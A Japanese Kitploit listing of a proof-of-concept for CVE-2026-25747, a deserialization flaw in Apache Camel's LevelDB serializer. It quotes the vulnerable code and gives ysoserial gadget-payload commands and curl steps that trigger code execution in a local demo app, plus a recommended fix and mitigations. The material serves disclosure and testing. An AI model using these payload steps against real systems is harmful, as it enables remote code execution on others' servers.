Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-25747 — CVE-2026-25747 - Camel LevelDB デシリアライゼーションの脆弱性 | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-25747
脆弱性分析コード分析エクスプロイトウェブセキュリティペネトレーションテスト学習と教育
GitHuboscerd/cve-2026-25747

CVE-2026-25747

CVE-2026-25747 - Camel LevelDB デシリアライゼーションの脆弱性

リポジトリを見る
6ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

LevelDB 逆シリアライゼーション脆弱性再現ツール

このプロジェクトは、Apache Camel の LevelDB 集約リポジトリにおける Java 逆シリアライゼーション脆弱性 を実証するものです。これは CVE-2024-23114(Cassandra 集約リポジトリに影響を与えた脆弱性)と類似しています。

脆弱性の概要

プロパティ値
コンポーネントcamel-leveldb
影響を受けるクラスDefaultLevelDBSerializer.java
脆弱なメソッドdeserializeKey()、deserializeExchange()
CWECWE-502: 信頼できないデータの逆シリアライゼーション
影響リモートコード実行 (RCE)
影響を受けるバージョン4.17.0 を含む全バージョン(テスト時点では未修正)

技術的詳細

DefaultLevelDBSerializer クラスは、フィルタリングなしの素の ObjectInputStream を使用しています:

root@kitploit:~
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
    try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
        return (String) ois.readObject();  // NO FILTERING!
    }
}

// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    return deserializeExchange(camelContext, buffer, b -> {
        try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
            return (DefaultExchangeHolder) ois.readObject();  // NO FILTERING!
        }
    });
}

これを、修正済み の Cassandra 実装(Camel 4.4.0 以降)と比較してください:

root@kitploit:~
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
    ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
    objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
    // Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
    return objectIn.readObject();
}

前提条件

  • Java 17+
  • Maven 3.8+
  • ysoserial(ペイロード生成用)

再現手順

ステップ 1: アプリケーションのビルドと起動

root@kitploit:~
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run

ステップ 2: LevelDB データベースの初期化

root@kitploit:~
# First, initialize the LevelDB database (creates directory and adds a test entry)
curl http://localhost:8080/exploit/init

期待される出力:

root@kitploit:~
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key

Now you can inject a malicious payload with POST /exploit/inject

ステップ 3: 悪意のあるペイロードの生成

ysoserial をダウンロードしてペイロードを生成します:

root@kitploit:~
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt

# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt

# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt

ステップ 4: LevelDB へのペイロードの注入

root@kitploit:~
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  -d @payload.txt

期待される出力:

root@kitploit:~
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key

The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs

ステップ 5: 逆シリアライゼーションのトリガー (RCE!)

root@kitploit:~
# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger

これは、すべてのキーを反復処理して repo.get() を呼び出し、逆シリアライゼーションをトリガーします!

ステップ 6: 悪用の確認

root@kitploit:~
# Check if the command was executed
ls -la /tmp/pwned

/tmp/pwned ファイルが存在する場合、エクスプロイトは成功しています!

攻撃ベクトル

この脆弱性は、複数の経路を通じてトリガーされる可能性があります:

  1. アプリケーションの再起動: Camel の起動時に、LevelDB から不完全な集約を回復します
  2. 回復メカニズム: 定期的な回復スキャンが保存された exchange を逆シリアライズします
  3. 直接アクセス: リポジトリに対する get() 呼び出しは逆シリアライゼーションをトリガーします

エクスプロイトの条件

エクスプロイトを成功させるには:

  1. LevelDB への書き込みアクセス: 攻撃者は LevelDB データベースファイルに書き込める必要があります

    • 共有ファイルシステム
    • 侵害されたストレージ
    • ファイル書き込みを可能にする別の脆弱性
  2. クラスパス上の Gadget ライブラリ: 悪用可能な gadget チェーンを持つライブラリが存在する必要があります

    • commons-collections:3.2.1(CommonsCollections1-7 gadget)
    • org.springframework:spring-core(Spring gadget)
    • その他多数(ysoserial を参照)

CVE-2024-23114 との比較

推奨される修正

Cassandra と同じ修正を適用してください:

  1. 素の ObjectInputStream の代わりに ClassLoadingAwareObjectInputStream を使用する
  2. 安全なデフォルトを持つ設定可能な ObjectInputFilter を追加する
  3. デフォルトフィルタ: "java.**;org.apache.camel.**;!*"

DefaultLevelDBSerializer.java の修正例:

root@kitploit:~
private String deserializationFilter = "java.**;org.apache.camel.**;!*";

public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
    try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
            new ByteArrayInputStream(buffer))) {
        ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
        // ... rest of deserialization
    }
}

緩和策

修正がリリースされるまでの間:

  1. ファイルアクセスを制限する: LevelDB ファイルが Camel アプリケーションからのみ書き込み可能であることを確認する
  2. Gadget ライブラリを削除する: 可能であれば、commons-collections 3.x などの脆弱なライブラリを削除またはアップグレードする
  3. 代替シリアライザを使用する: DefaultLevelDBSerializer の代わりに JacksonLevelDBSerializer を設定する
  4. ネットワーク分離: LevelDB 集約を使用するシステムを分離する

ファイル

root@kitploit:~
potential-leveldb/
├── pom.xml                          # Maven configuration with vulnerable deps
├── README.md                        # This file
└── src/main/java/com/example/
    ├── Application.java             # Spring Boot entry point
    ├── LevelDBRoute.java           # Camel route using LevelDB aggregation
    ├── StringAggregationStrategy.java
    └── ExploitController.java      # REST endpoints for exploitation

免責事項

この再現ツールは、セキュリティ研究および許可されたテスト専用 に提供されています。明示的な許可なしにシステムに対して使用しないでください。

ツールをダウンロード
側面Cassandra (CVE-2024-23114)LevelDB(本件)
ステータス4.4.0 で修正済み4.17.0 では未修正
ObjectInputStreamClassLoadingAwareObjectInputStream を使用素の ObjectInputStream を使用
逆シリアライゼーションフィルタ"java.**;org.apache.camel.**;!*"なし
JIRACAMEL-20306未登録